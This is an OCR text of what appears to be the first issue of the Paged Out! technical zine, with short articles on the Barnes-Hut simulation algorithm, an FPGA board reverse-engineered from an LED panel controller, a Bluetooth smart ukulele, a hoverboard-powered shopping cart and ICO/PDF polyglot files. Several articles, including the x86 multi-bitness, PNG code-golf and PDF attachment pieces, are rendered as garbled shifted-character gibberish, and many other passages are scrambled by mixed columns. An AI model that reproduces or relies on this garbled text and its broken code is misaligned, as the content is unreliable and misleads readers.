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Paged Out! is what happens when a technical reviewer sees too

- many 20-page long programming articles in a short period of

T |
E n u "] time. Though that's only part of the story. The idea of an

experimental zine focusing on very short articles spawned in my
mind around a year ago and was slowly — almost unconsciously

Paged Out! Institute — developing in my head until early 2019, when I finally decided
https://pagedout.institute/ that thls_whole thing might actually work (even given my chronic
lack of time).
Project Lead Why short articles in the first place, you ask? They are faster to
Gynvael Coldwind read, faster to write, faster to review, and it's fully acceptable to

write a one-pager on this one cool trick you just used in a
project / exploit. Furthermore, as is the case with various forms

Executive Assistant of constraint programming and code golfing, | believe adding

Arashi Coldwind some limitations might push one to conjure up interesting tricks
while constructing the article (especially if the author has
DTP Programmer almost full control of the article's layout) and also, hopefully,

increase the knowledge-to-space ratio.

foxtrot_charlie

Giving authors freedom to arrange the layout as they please has

DTP Advisor interesting consequences by itself. First of all, we can totally

tusiak charlie dodge a standard DTP process — after all, we get PDFs that

= already use the final layouts and can be merged into an issue

: with just a set of scripts (therefore our Institute has a DTP
Lead Reviewers Programmer instead of a DTP Artist). Secondly, well, every

Mateusz "jOOru" Jurczyk article looks distinctly different — this is the reason | say our

KrzaQ project is "experimental" — because nobody can predict

whether this artistic chaos of a magazine will get accepted by

. our technical community. And thirdly, merging PDFs is a pretty

Reviewers interesting technical challenge by itself — and even though | fully
kele believe in our DTP Programmer, | do realize it might take a few

disconnect3d issues to get an optimal PDF.

As for the variety of topics in our zine — programming, hacking,
gamedev, electronics, OS internals, demoscene, radio, and so on,
We would also like to thank: and so forth — what can | say, | just wrote down the areas |
personally find fascinating, enchanting and delightful.

Artist (cover)

. . . To finish up, | would like to wish our readers an enjoyable
ReFiend(deviantart.com/refiend) P e

experience with the first issue of the free Paged Out! zine. And in
case you have any feedback, please don't hesitate to email

Additional Art gynvael@pagedout.institute.

cgartists (cgartists.eu) Have Fun, Good Luck!

Templates

Matt Miller Gynvael Coldwind
wiechu Project Lead

Mariusz "oshogbo" Zaborski

Legal Note

Issue #1 Donators This zine is free! Feel free to share it around.
Mohamed Saher (halsten) Licenses for most articles allow anyone to record audio versions and post
them online — it might make a cool podcast or be useful for the visually
impaired.
If you would like to mass-print some copies to give away, the print files are
If you like Paged Outl!, available on our website (in A4 and US Letter formats, 300 DPI).

let your friends know about it! If you would like to sell printed copies, please contact the Institute.
: When in legal doubt, check the given article's license or contact us.
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Dearest neighbors,

n 19th century America, there were books

made speci cally for the frontiersman who

couldn't carry a library. The idea was that
' if you were setting out to homestead in the
wild blue yonder, one properly assembled book could
teach you everything you needed to know that wasn't
told in the family bible. How to make ink from the
green husks around walnuts, how to grow food from
wild seeds, and how to build a shelter from scru y little
trees when there's not yet time to fell hardwood. You
might even learn to make medicines, though I'd caution
against any recipes involving nightshade or mercury.

Now that the 21st century and its newfangled ways
are upon us, the ne folks at No Starch Press have seen
t to print the collected works of The International
Journal of Proof of Concept or Get the Fuck Oufour
rst fourteen releases|in two classy tomes, bound in
the nest faux leather, on over fteen hundred pages
of thin paper, with ribbons to keep your place while
studying. You will see practical examples of how to
write exploits for ancient and modern architectures,
how to patch emulators to prototype hardware back-
doors that would be beyond a hobbyist's budget, and
how to break bad cryptography. You will learn more
about le formats than you ever believed possible, and
a little about how to photograph microchips and circuit
boards for reverse engineering.

This ne collection was carefully indexed and cross-
referenced, with twenty-four full color pages of Ange
Albertini's le format illustrations to help understand
our polyglots. But above all else, beyond the nifty
tricks and silly songs, these books exist to remind you
what a clever engineer can build from a box of parts
with a bit of free time. Not to show you what others
have done, but to show you how they did it so that you
can do the same.

Your neighbor,
Pastor Manul Laphroaig

PoC||GTFO

Volume IL

TFO

Use discount code APAIROFPOC
for 40% o of both volumes.

https://nostarch.com/gtfo
https://nostarch.com/gtfo2




Algorithmics Accelerating simulations by clustering bodies using...

Accelerating simulations by clustering
bodies using the Barnes-Hut algorithm

Simulating forces such as gravity is a demanding
task, because of the interactions every object has with all
the other objects. With n objects, there aren 1 forces C
acting on each body, so all in all, there aren (n 1) A
forces acting. The Barnes-Hut algorithm can be used
to approximate the forces that need to be calculated by E
clustering the objects, sacri cing accuracy. In order to
take those clusters into e ect, the algorithm takes the F le |H
size of the individual clusters and their distance to the
respective object into account. (a) Cell representation (b) Tree representation

3 Y Figure 2:  Visual representations of the same Barnes-Hut tree.
(http://arborjs.org/docs/barnes-hut )
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The tree in Figure 2b describes the cells from Figure
2a - top left, top right, bottom left and bottom right are
depicted as a new layer in the tree accordingly. While
d building the tree, we are going to store the center of grav-
sl r s1 ity and the total mass of each inner node. The complete
process of simulating the force acting on a single star
works in the following way:

Figure 1: A cluster of stars that is far enough away from a single We walk through the tree starting from the root in
star can be abstracted as a single point in space. the direction of the leaves, usingrg < as the end condi-
tion. We use as a threshold for controlling how many
_d ) forces to take into account (0 1). The force acting
r on a star is calculated when a leaf is reached or when an
end-condition is met (thus resulting in no further recur-

The above equation describes how to cluster the ob- gjon into the tree from that node on).
jects. If a body (s1) is far away from a small cluster  Experimenting with the value of on the dataset
(rd), gets very small and the cluster in which can optimize the runtime from O(n?) to as low as
the body is located can be abstracted to a single point. o(n |og(n)). This means that if we've got 2 108 bodies
0 1 is provided by the user as a threshold impact- and can calculate the forces acting on 10bodies per sec-
ing the accuracy and the speed of the simulation. Its gnd, the total runtime is reduced from about 1200 Years
value should be tuned in depending on the given data, down to 45 minutes optimally (the time to build the tree
as it decides which stars are approximated as a singlejs an actual computational complexity (( n log(n))),
cluster. not a measured runtime and does not depend on ).

Everything is based on the stars being in a tree, SO This principle can also be applied to other types of
we need to subdivide the space into cells. Such a subdi-problems such as simulating molecules. If you come to
vision can be seen in Figure 2a and the process can bgjg something with it, don't mind writing to me!
seen on the bottom of this page.

When calculating the forces a ecting the objectF in
Figure 2a, the Barnes-Hut algorithm does not consider @hanemileon most platforms.
all objects indvidually, but only the ones that fall over
the threshold . For the object F, this means that the
Objects B and C are not calculated independently, but
as a single object (a new abstract object is created in
the center of gravity of B and C).

B B
@)
C
S A ® A BEh A
We start with an empty space We insert the Star A Inserting B: Subdivide, shift A, Inserting C: Subdivide, shift A,
shift B from root shift C from root

https://github.com/hanemile Emile

n https://twitter.com/hanemile SRR | S




Multi-bitness x86 code m

B567 2))()( % 75-'/ 3* 7,-6 /-2( 2)MB850< <)%56 %
)2 %6 :35/-2+ 32 % 9%5-%27 3* 825)%0 13() 7,%7
%003:)( *35 &-7 '3() 6)+1)276 %27)( % '31132
-27)55847 7%&0) 7,%7 :380( 237 2)%26):5-7-2+ &%'/
*357, 63 1< -27)55847 ,%2(0)56 ,%(%®3 ()7)'7 -*
%> &-7 6)+1)27 %2( -2 7,%7 '%6)+@B0%5 &%'/ 73 5)
5)%0 13() &)*35) '%00-2+ 7,) 35-+-%0 9)'735 %

35 6)59-') 1,) 62-44)7 86)( 033/)( 0-/)

IfyHHH AV TR HVTAS #,)2 %2 -27)55847 ,%44)26 7,) C%+6
AEHBBHBSHHHHHHHANGHHH#H##DY 8888i #HHHHHHANGHHHHHHDY - 1@ @FC8888i +)7 6735)( 32 7,) 67%'/ 63 -7 :%6 23
FC#@ @###HH#HHHKkng###HH#bmsfbez27cju % &-+ ()%0 7,%7 %07)5)( % *): 3*
7,38+,7 7,-6 :%6 % *82 63087-32 38g7 7,)2 *382(7*)1

7,%7 -7 %6 %'78%00< 4366-&0) 73 %B9) I &%6) -2 5)

13() :,%7 1%() 7,-6 75-'/ 3&630)7)

37 032+ %*7)5 (%6 0)%52-2+ 3* 7.,8%)0-)2)8A'BY-2)5,%46 631) 3* );-67:380(%",-2)
. @ %5',-7)'785) %2 3A-'-%0 2%12( %582, 35517 0% -2 &-7 6)+1)27 :-7-B3BE& %2< %0
>237-")( 7,%7 @&-7 -26758'7-326()()5) %lRG70<5)RBB=)( 7,%7 1%2< 61%0023&67%'0)

7,) 6%1) -2 7,) 2): 13() 20< 7,-2+660-8)0900(6)66%&0) -2 +)2)5%0 7,38+, *BH7%-20<
%2( 67%'/ )0)1)276 :)5) 453137)( 73 631)-61%88362-44)76 0-/) 7,-6 32%8,¥67 '329
1%7-'%00< 37,)5 6-=)6 67%<)( %6 7.9< 723539898D00k6 %6 -2>%>" " 675-2+ %7
45)B; :%6 86)( 7 67-55)( 1< -1%+-2%7-32 %2( 1%() 1

Iy A ST VTS

O THHHHHHHHH R OV T H R HHRQVHRHHESY

HHHHHHHHHH R ADOWTS U, #HHHEHHHHHHHHIH R dpoWTSU,

TTHBEHHHHHHHHEH R DEUHIHIXDSOR T NEHHEHHHHHHMpEtiXpSet stj 7

TTHOCHD LHHHHHHHHHHHHHHHHURUHHHEDY - DYHHHHHHHHHHHRHHHPUR DY - Dy

OOt L P K C DO TR HHH e pOf

TTHOAHGOHIGHHHHHHHHHHHHHHANGHHHHEDY O HHHHHHHHRHEHHHANg##HH#HDY- (O(

BOHGAHHHHHHHHHHHHHHHHHHHKOTHIHHHHHAPOWTS UHHEHHHHHHEH KO T pOowfsu

TTHDBHETHGFHODH1 1 #HHHHHNDWHHHHHXDSEH] . 30- (| #HHEHNpWiHHHXpSe# st . 3™ (I(

FCHF CHIHHHHHHHHHHHHHH KNI DOWTS UHHHEHHHHHH I KN Qi dpowfsu

HHHHHHHHHHHHHRHHHHODOT, 1HHHHHHHHRHHHHHH e pOf,

Ot QD QT H IR QDO St#

2)9)5 5)%00< 2))()( % 9%5-%27 38BOI< 75-'/ 7,%7 :3
(-67-2+8-6, &-7 13() *531 &-7 BY7)B7 <)%56 ,
>0)%52)( 7,%7 7,)5) %5) 6-+,7-2+B%2)6-1-0%5 '3275627_00&‘7&1_37()&:“()*%'8206775237'3?353( ,
-2 7,)>:-0( )9)2 -* 1%() *35 48543676 18'. (-A)5)2 ¢ 1a0< 5)86) 7. 30( 1)7.3(
7.%2 1-2) 7>1%() 1) 7,-2/ %&387 84+5%(-2+ 1< 3:2
62-44)7
'%1) 84 :-7, 7,-6 32)
| - ' 0, 0, :
iy AT SHA A3 I 2))6 (3)6 237 73% ;. o )C(A’7+36 o 2‘)8
TBHOEHL THiEMIDAHHHHTDY-\ 1 M Ib#TDY \ Xpse# 1@ @FC : :

-\ 4 %237,)5 5)+-67)5 &87 -7 %0:%<6 2))
FCH# Q@ Q#HHHHHHHHKN QT S Cjut 73 69%'5-B) 32)

3()52 453')66356 %063 +37 % 2): 3463() 7,%7 )2%&0)
%>'3140)7)0< 75%264%5)27 9%5-%27

iy VT T S HHHHRHEHEHVTAS ) 34)5%2( 3* 7,-6 -26758'7-32 -6
TBH1GH2GHL THIHOPUHIHHNA  HHHHHEHIOPOHHHTA Xpse# 1@ @FCi (0'3()( &87 237,-2+ 135) -6 (32)
FCH@ @#HHHHHHEHKNOHHHHHTE ClU# 27, -7 1,)>%((5)66 (3)6 237 ,%9) 73

7 1-+,7 )9)2 &) 1%() -273 % 7,5)) %z 6:-7', *35 &) 9%0-(
820-/)0< 3''855)2') 7,%7 7,) '3() 1-+,72+)7 );)'87)

&-7 13() #,< :380( <38 )9)5 2))( 73 7)00
(e @&-7 13() *531  &-7 32) (32 7
T8H1GH2GHL THIHIHHHOPHHHING] 1 123:

FCH#H @ @#HHH#HHHHA#HAH# KN g#HE#Ipsu#opu43cju

HHHHHHHHHHH A S . clufnpefitefufdufe/// , ,
B OPUASCIUL, 6 % &3286 ‘)5). 31)6 %237,)5 7,5)), %% < ()7)‘
IGH2GHLTHIHHHHHHHHODHHENSE N 6-140< (3)6 237 "%5) %&387 45)6)59P58+ C%+6 !
FCH@ @HHHHHHHHHHHHKNHHHHAIPSU#tT5Cju #,%7 1%/)6 -7 -27)5)67-2+ -6 4)5,994667,%7
HHHHHHHHHHHH 27 .clutnpefitefufdufe/// 3&6'85)( :,)2 320< 033/-2+ %7 &-B7(-6%66)
HHHHHHHHEHHES TS ClU; 0 ot i i 0
AR A5 unpefiefufdutel/ %*7)5 5)%(-2+ 7,-6 <38 1-+,7 237 +)7 *330)( %

ITyHEHEH TR 2 TV A ST VTS
SOHHHHHHIHIH T e fAMHHHBDy HEHIHEH TR T AHHHIHITDY  #HHEHIHIHHHHNpWHHHHISbY 10 @QFC@@FC@@FC@@FCi
COHFCH@ @##HHHH#HINpWHIHHHIDE @ F @ H#n pwiHHHHTDY- L@ @FC@@FCi

FCH#@ @#HHHHHHHHIHIKN QT2 7 Cju ') );75% '34-)6 3* . 1,%7 2)9)5
FCH# @ @#HHH#HHHHHHHIKN QR AN SClUHHHEHHIHH KN Q##H###]14 Scju +)7 );)'87)( 6)59) 23 5)%0 485436)
FC#@ @#HtH KN g#HHH#Hvostbdibem i Kng###H#vobdibemi# 7,)< .867 '3140)7) % 2-') 4%77)52

Tomasz Grysztar https://twitter.com/grysztar
https://flatassembler.net

SAA-ALL 0.0.5




Qutput/messages

Assembly
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AVR debug env for CTF and profit? Nah...
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h b b 75 github.com/g3k/chubby75
C u y repository licensed under CC-0 bOfing O\d

urn this
Ever needed aheap FPGA boardto just throw into a -\‘:ED pane\ Comr%“?/rboar d
project somewhere? Are you bothered by the fact that the into an FPGA @€

most GPIO you usually get is a measly Arduino header?
Look no further!

Chubby75 is an effort to reverse engineer an LED panel
controller board (identified RV901T, available on
Aliexpress for aroun&20), that just happens to contain:

- aSpartan 6 LX15 FPGA

- 2x Gigabit Ethernet with PHYs As g
- 8MBytes ofSDRAM on /Ree”
- over70 5V GPIOs Ci

We provide extensive documentation to turn this board
into an FPGA development board for education and
research. And, given enough effort, you might even be able
to write a proper open source stack for controlling LED

panels!

We also provide support fddigen/MiSoC/LiteX, so you You might be wondering - how do yalocument a 4 laye
can define your digital logic in Python. Tdink an LED PCB and get a full pinout of all the connectors?

run the following Python code in the Chubby75 git

checkout: We started by finding)TAG on the board. Thankfully, i
marked on the silkscreen, so we just had to scrap
from migen import * soldermask off and solder to it. With that, we could
class Top(Module): running our own bitstreams on the board. But how di
def _init_ (self, platform): even know where a clock or an LED is?
# Single clock domain from external
# oscillator. We ended up taking brute force approach One boar
osc = platform.request('clk25") was fully depopulated, sandedandphotos were taken ¢
self.clock_domains.cd_sys =\ every layer. This allowed us to understand some tl
ClockDomain() about how the PHYs and SDRAM are connected, and
self.comb += self.cd_sys.clk.eq(osc) to control the 1/O buffers on the board. We post proce
# Blink that LED. the photos of the layers @BIMP and then layered them
led = platform.request(‘user_led’) Inkscape, so that we could trace and label things as
counter = Signal(max=25000000) discovered them.

self.sync +=\
If(counter == 0,

a8 FIRIFF-
‘o

counter.eq(25000000), AN i
led.eq(~led). :\x! b‘nulﬁnl|
).Else( -
counter.eq(counter-1))
)
# Instantiate and build for RV901T.
from platform import  Platform
p = Platform()
t="Top(p)
p.build(t)

# Program over JTAG with xc3sprog and a

# Xilinx Platform Cable.

import migen.build.xilinx.programmer \

as prgs

prog = prgs.XC3SProg('xpc’)

prog.load_bitstream('build/top.bit") Once we had a general idea of how things worked, we
a little piece of Migen code to take all unknown pads ¢

Don't forget! Using LiteX allows you to quickly integrateFPGA and make them output their identifier as a rep

support for Ethernet (via LiteEth), andSDRAM (via ASCII string via UART. Using this, we could justobe the

LiteDRAM). And, if you want a soft core, this FPGA willtwo large connectors on board with a USB to UART ad

easily fit a Lattice LM32 and a bunch of picorvBESC-V  to immediately know what pin of the FPGA drove whal

cores! In the repository, you'll find a working example obf the connector.

SDRAM + LM32 running C code.

Right now you will still need Xilinx's ISE suite to developChubby75 is a collaboration brought to you by:

for this board. However, there are efforts to bring an opé#tiklas Fauth, Jan Henrik, g3k, carrotindustries,

source toolchain to Spartan 6 FPGAs, so keep your eysgoydigital, jeanthom, informatic and many others.

peeled!

q3k twitter.com/q3k
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HACKULE E

Because all things got to be smart, China gifted us with a
Smart-Ukulele called Populele.

The point is to use a bloated, kind of ugly app to connect
to your uke over bluetooth, sending commands to blink
the lights behind the frets. The app gami es the learning
process, has songbooks and stuff, but as all “smart” things
go, everyone on the App’s page complains about unreli-
able BT connection, bugs, etc.

CLOSER LOOKT THE SMART

The “smart” part is easy to pull off from inside the instru-
ment and reveals a boardy board, a lipo-y lipo, and cabley
cables to connect to the blinky blink side.

7 RX
21X

SGKJ-UKP-U04

Main chip there is a Dialog DA14580 . Unfortunately,
according to my logic analyzer, both TX/RX (for serial)

& SDIO/SCK (for JTAG) aren't active: no easy hacking for
me ’( | couldn’t get any intel on the tiny thing on the side
that's marked 5F2 A71 TOG .

BLESNIFFING

I use the NRF52devKit by Nordic to sniff the BLE traf c.
The output is verbose, the uke sends multiple heartbeats
per second, for some reason, probably to drain the battery
faster.

The Uke’s LED matrix state is set by a 19 bytes packet
sent to a GATT service (attribute handle 0x0024 , UUID is
0000DC8600001000800000805F9B34FB ). 3 bytes per
string (G C, E and A) are sent to set 18 LEDs (only the 18
MSB are used) as so:

F1 AAAAAA EEEEEE CCCCCC GG GG GGO0 00
00 00 00 00

The bluez.py
through BlueZ.

script will let you send these packets

https://github.com/furikuda/hackulele

Hackulele

INSIDETHE FRETBOARD

Hooking up your logic analyzer on SDA/SCL you get a
listing of the 12C commands sent at boot time to the
l IS31FL3731 chip (address 0x74).

No idea why the chip sends all these 0x08

74 08 .

74 08 commands, as they are nowhere in the

74 FD OB IS31 doc, trying to x weird timing issues

74 08 maybe? Or just sloppy coding?

74 0A 00

74 08 | just ignored and wrote a CircuitPython

7 ADQE lib to talk to the LED matrix ( main.py ).

74 08 . .

74 00 FE The annoying part was nding what LED

74 08 address corresponded to where on the

7402 FF fretboard.

74 08

74 04 FF To connect to the LED matrix, pull SCL&

;j 82 - SDAup with a 4.7K resistor,

74 08 ground INT, and set SDBas a

74 08 FF ‘enable’ pin. The 5V VCC will

;j 8i - need more than 50mA, so

7408 don’t use an arduino GPIO.

74 0C FF

74 08

(..)

) 610 FEMALE/UKE SIDE

74 08 e

7408 | Y | '

74 90 55

A O I 5V GND lSCL |

74 08

491 55 | SDB INT SDA | l I|

7408 ' |

74 08 l i

74 92 55 l |

;j 82 You now get full control of the l l'\

74 93 55 LEDs PWM and super fast anima-

tion update without the painful ll‘
BLE setup. IIE

ANIMATIONS! -
The library on the repo uses separate K

‘Animator’ objects to update the
internal LED state.

It is heavily in uenced
by the Best Badge Ever
(2018 DCFurs badge).

Both the CircuitPython main.py
and BlueZ bluez.py  scripts use
the same Animator objects.

See animations/scroll.py
for an example.

MOREINFO

Link to repo with more
info, resources and docs:
https://github.com/
Furikuda/hackulele

You'll learn about the infamous
“Page Night” (that comes after the
8" page, and has the 0x0B identi er),
and some ideas for more research.

Jokull Barkson
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WOOZGk [ vuz K],
the motorized shopping cart

ingredients:

- one shopping cart
(gynvael wanted me to
mention that you can buy
one legally on ebay)

- one hoverboard

steps:

1) disassemble hoverboard

2) cut out hub motor brackets
from chassis with bandsaw

3) (optionally) square down
the brackets on a mill

4) remove front wheels from

cart
5) cut down a 50mm flat bar to length

and attach it to the front wheel
mounts (likely with M12 bolts)
6) drill 8mm holes in bar and attach

hoverboard motor brackets
7) mount a metal box on the bottom of the cart basket with zip-ties

or another low-tech solution

8) mount controller and battery in box

9) fasten hub motors to brackets, run cables to control box (use 3-
way electrical wiring for BLDC phases, CAT5 for hall sensors)

10) flash the controller board with

github.com/niklasfauth/hoverboard-firmware-hack

11) attach controller to a thinkpad via UART and write python code
that sends control packets

12) wear a helmet

13) try not to kill yourself

see https://wiki.hackerspace.pl/projects:w00zek
for more info, test drive footage and some control firmware code

q3k twitter.com/q3k
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Hacking Guitar Hero
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Hardware Trojans Explained m
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Adam Kostrzewa https://adamkostrzewa.github.io/
https://twitter.com/systemWbudowany
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A guide to ICO/PDF
polyglot files

A guide to ICO/PDF polyglot files

As long as the source file contains less than 64 images
we are at this point still comfortably within the first
1024 bytes of the output file and can simply append the
bulk of our PDF file up to and including its last stream
object.

In this article we are going to demonstrate how to

create a polyglot file that is a valid ICO image as well | outfile.write(pdf.read(OFFSETLASTSTREAM)

as a valid PDF document.

These two file formats have a couple of interesting
properties that make this endeavour possible.

ICO is a container format for files that can contain one

After this we extract the image data from our input
ICO and append them as additional stream objects with
suitable, unique object ids.

or more BMP or PNG images. An ICO file is defined

by a 6 byte header that contains some magic bytes and
the number of images in the file. This is followed by a
16 byte header each for every one of the images whic
among other data contains the offset and size of the
actual image data.

While it is common practice to have the image data
start immediately after the headers this is not strictly
required. Any data that is not located inside one of the
image data areas specified in the header is ignored.

The PDF file format is specified in ISO 32000. This
specifications requires PDF files to start with the magic
byte sequence%PDF . This requirements collides with
the ICO header. Fortunately practically all PDF libraries
and applications implement the Adobe supplement to the
ISO 32000 which only requires the magic bytes to be
present in the first 1024 bytes of a document. This

hstream

OBJSTREAM _HEAD = "™ fg 0 obj <<
/Length fg
>>

OBJSTREAM _TAIL = ™""endstream

for iin ico_data:
outfile.write(OBJSTREAM _HEAD. format (
obj_id, i[0]).encode('utf 8"))
icofile.seek(i[1], 0)
ico_offsets.append(outfile.tell())
outfile.write(icofile.read(i[0]))
outfile.write(
OBJSTREAM _TAIL.encode('utf 8"
)
obj.id +=1

gives us enough room to fit a ICO header with up to 63
sub-images before the PDF data.
Additionally there are several ways to include non-

At the end of the output file we can then simply append
the rest of our source PDF.

visible binary data in a PDF file. This is where we are
going to put our image data. In this particular example

pdffile.seek(OFFSETLASTSTREAM, 0)
outfile.write(pdffile.read())

the data will be placed into stream objects which have
the following format:

OBJECT _ID 0 obj
<<

The last thing that remains to do now is to fix the
offsets of the image chunks in the ICO header. Since we
saved the offsets when appending them to our output
file this is easily accomplished.

/Length LENGTH _OF _DATA
>>

stream

IMG _DATA

endstream

endobj

ico_offsets.append(oultfile.tell())

outfile.seek(18, 0)

for iin ico_offsets:
outfile.write(struct.pack(’ <1, i))
outfile.seek(12, 1)

Where OBJECT _ID is an unique numerical id,
LENGTH _OF _DATA is the number of bytes of data
in the stream and IMG _DATA will be our image data.

Armed with this knowledge about the file formats and
an idea how to interleave them we can start to create a
file that is a valid ICO as well as a valid PDF from two
existing files.

First we need to determine the number of images in
the ICO file from bytes 5 and 6 of its header so we can
copy all the headers to our output file.

img_count = struct.unpack(

'< HHH', icofile.read(6))[2]
icofile.seek(0, 0)
outfile.write(icofile.read(6))
for i in range (img_count):

outfile.write(icofile.read(16))

https://twitter.com/tickelton
https://tickelton.gitlab.io/

Now we are in possession of a ICO-PDF polyglot file
that we can put to good use by e.g.:

embedding a CV/job posting into the favicon of our
website to challenge recruiters/job seekers

putting a manual for its easter eggs into the desktop
icon of our application

A Python implementation of the process described
above including example data and ready made polyglot
files can be fount at https://github.com/tickelton/ico-
pdf.

Structuring the PDF data in a way that the images
are embedded not as raw streams but as attachments
that are also visible in the PDF document is left as an
exercise to the reader.

tick

SAA-ALL 0.0.5




PNG Themed Python Code Golf ) FileFormats

31* 7TKHPHG 3\WKRQ &RGH *ROI

[ ,1752'8&7,21 [ 7+(6&5,37

%DFNLQODW\QYDHO &RRGIDQBGIHG BRROH ZHOYHRS«Re % \WHV
JROIFRPSHWEWHBR\RX FRX0G ZLQ WMWALANBWIRKE ST 5 < vy
&21)LGHQFBEQLQWHUQDWLRQDO ,7 VHOXUR W KIPRIGHRMENF s s y vy
$FWXDOO\ WKHUH ZHUH FRPSHWLWERRO GR U R HEKKES v

& -DYD6FULSWDQG 3\WKRQ EXW PERX VR WX vV

RQH 7KHJRDO ZDV WR ZULWH D SURJW X8 WXHQVI X VvV OHAYHO

DYDOLG31*-OFRQILGHQEHWKSL[HO\YIDSSO\LQ I TR T crnioown

XHV H[DFWO\PDWFKLQJD VSHFL-HGHWRGHMHHAWPDR

ZHUHUXQ RQDQR°LQH IBEXEWRWWIOKMRUIRQ" :HFRXOG XVH3\WIRSIUIPHWK
XVL S\WKRQ FRQILGROPBGGE $SOWR DIDLQZLWKUDZGH®DWHVWUHDP 7F

WKHUH ZDVD VHFRQGV H[HFBWQARQ@BWLRR@ZIFPOWF]OLE GHFRESVZELWYV

EUXWH IRUFLQJ "FROQILGHQOWMNALOY DGGLWLRQDODUJXPHQW 1RZ ZKDWDE

$FFLGHQWDOO\ ,o0YHPDQ DK DG BMRAHVQ E\WHVELQDU\GDWDLQWRD 3\WKRQ VFU

VROXWLRQ EXW OHWDOOREHWWHU OHWKRGOHO OHQ UH HGDZKROH

E\WMMTUHBWYHQW

L 7+(,08%( E ﬂgiig: LWDV DE\WHV OLW
7KHPRGHO LPDOWD E\WHWL]HG ~OHEoFRGT JLUVW WKRXJKW s V

% DVH %XW ZDLW
7K EDVHPRGXOH DOVR VXSSRUWYV %DVH
'LWK ODUJHU FKDUDFWHU VHW LW LV PRI
FRGHJROIDIWHUDOO HYHU\E\WH FRXQ!
WRIHWKHU JLYHVf

CORFIDERCE

LPSRMOLEDVHDVERSHBRQILGHQFHBQJ
g - ZULWH JOHERPSUEHVE@HFRGIB2 M'I 9TMT B

111 +)9TMR]8_";H8 0 1G . +K :GBU EG6[ a !4a8_1M#:XSHJ]a\ F’
- 2F7 VUTD \ \&T OJ:"3HH JN A /Q3 ) %G C4d:; 1*-92H[1P_&
H8Z 8TB= E( B" Y 7[D)VN3W F97%$ 7 G<F 91ZM/E ,$M_
3V 0,WI8 $K;<.[3U, \3L 0<UX "Qa(l DG #$%$,8 T! A2:/2 "7:

#UTH S7 U _ % [S Z TB #)D07X2 RGK5-DAKKCOX7TVIX
FOK E K+N 8C VCKP A(E \; [*%"35 T[=S'T U&Q %2U H &,\B2

6]6'B A (T= W'C108 7 DYOR##<*V/F38(HlI _5 HHB/Q*30#
S:—]W O 'N A1 C_: _ L< R2BFCON1U 7. Y )QO0+05 R FJ6

[02Q _"G 6T X" C6 ]X %, &W 7X CR" R "990/_3A RG
5D O '4S4F BH[Z)H #X[" NXCRXI MBOYWMIN% 6 _ZFH 1E, ¢
1)ZL)32A)8 “:P6& K\K/M (2<._ W a,SG4 $%SR"_M+1 ‘0r7C F
/W Z A UG* V %\

7KH -UVW VWHS LV WR PDNH WKH LPBIH DV V?ﬁqfd@\g’é“#mi/b< Wb R vV

EOH ZKLOH SUHVHUYLQJ SL[HO YD
\WLV LWoV FRPSOHWHO\ RSDTXH D%DGZﬁ\PHN\VQ %BO%&"LB@WWWR\XWQQ
FRORUV 7KH31*-OHFRQWDLQV VR LPSRUW VWDWHPF

VWULS $OVR\RxPLJKWQRWLFHWKBv'a:*FV\)'k'I-Per'd’\ﬁﬁHLUQB k¢ GODWD VWULQJ
VROLG SL[HO EORFNV <RXFDQVFD89QW’§WC§'(§6W5 VDGGDQDGG'—W'—RQD(

*

E\IDFWRURI ORVVOHVVO\ XVLQJQWB VP|¥U§3RT9j'WLR é’dé?’dQ\"-W  WoV ZKR
WKHGHIDXOW 3\WKRQ LQVwDOoODWPRPERERHBEREBEBRERRFANR W'—WLRQf
DJHSURFHVVLQJOLEUDU\ VR OHWoY DEPQGRQ M 4 VI BHXURDF K

8VLQJ *,03 WR UHPRYH PHWDGDWD

OLI
WR FRQYHUW WKH LPDJH WR LQGH] g %%?—F H{)H ‘HQP@®E HPEHGGLQJ UD
5@ HU

MY HG GDWD Z® YW VI DO H
E\WBY* ~-OH 7KHQ ZHFDQ XVHD 31* H @
RSWLB SQJFUWRKIHW DV O REZ\DAHE X WFRG L LS

RSHERQILGHQFHBE@ULWH I®LE

WKHEHVW UHVXOWYV D ]JRSI0 LISH)OH W \REEE ] LOHBE UHDG >@

®D. LWHUDWLRQV ILOWHD\ELW-RRIHSE

RYHUNLOO ,NQRZ 7KDW JHEMNWKYPUERZD WRHY EL]RSITRXWSXRW LQFOXGHG
VRPH ZHE EURZVHUV DQG RW KE\WBI /U H WBWXE&WRRPSODLQLQJf 7KLV PDNHV
ZRXOG EH HQRXJK WR GoLD/FSOIDIBHIGY X6 KEDW WWR O XWLRQ $GIHIBAAMDR QML QJ VRO XWLF
%XW VLQFHZHQHHG D FRUUHFW 31* -&RH WH &V RZERDEOR FRQ@D W\ G D W R PLHIG

JHW EHORE\WHAKLOH SUHVHUYLQJBRH@YDPOXHRX GR UHDOO\ ZDQW WR XV
BURYHPH ZURQJ ZKDWHYHU UHDVRQ \RX FDQ MXVW JR E

KWWSV J\QYDHO FROGZLQG SO "LG JHQHUDWH -OHV ZLWK DOO 3\WKRQ HQF

[
[ KWWSV FRQILGHQFH FRQIHUHQFH RuUJ HQFRGLQJV DOLDVHV DIDQBMURXWHELQDU)
[ KWWSV J\QYDHO FROGZLQG SO "LG GDWD WKHQ WU\UXQQLQJWKHP 3LFNVPD
[
[

KWWSV J\QYDHO FROGZLQG SO LPJ FRQBQBAFHP H BERIIWIOW KLY DW KRPH
KWWSV JLWKXE FRP JRRJOH ]JRSIOL 3 EODPHGURS
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Adding any external data to any PDF

$GGLQJ DQ\ H[WHU@VQQI—YVLE—!@M\VDI;PSDWLEOH IRU H[

WR DQ\ 3') RU :LQGRZV ([SORUHU D =,3 QHHGV LW
EH UH DGMXVWHG VR WKDW WKH\ DUH
SWWDFKLQJ ILOH QRW UHODWLYH WR WKH VWDUW
FDQ EH IL[HG LQ SODFH ZL&8¥KIWKH ,QIR
FRPPDQG

%XW WKHQ ZKHQ \RX HIWUDFW WKH =,
DWWDFKPHQW LWV RIIVHWY ZLOO EH L

7R DWWDFK D ILOH WR D 3') \RX FDRQUHW R PWYWDFKPHQW ZLOO EH FRS

WRROV RXW WKHUH (PEHGGLQJ E\ KDQG
SI#L(), °-1# 11 %x#&)"0 *6#&)"° &+6 6R \RX PD\ ZDQW WR GURS WKH DW!
o .21-21 11 %“le-l#e IXQFWLRQDOLW\ DOWRJHWKHU DQG M
1RWH WKDW $GREH 5HDGHU IRUELGV W R LGRDPIORDED VWUHDP LQVWHDG
(;( 9%6 RU =,3 ILOHV VR \RX PLJKW/ZDQW’Z\N’R? 1 "+1/66

UHQDPH WKHLU HIWHQVLRQV tocl, oxg"1 "4 ["#@Ue

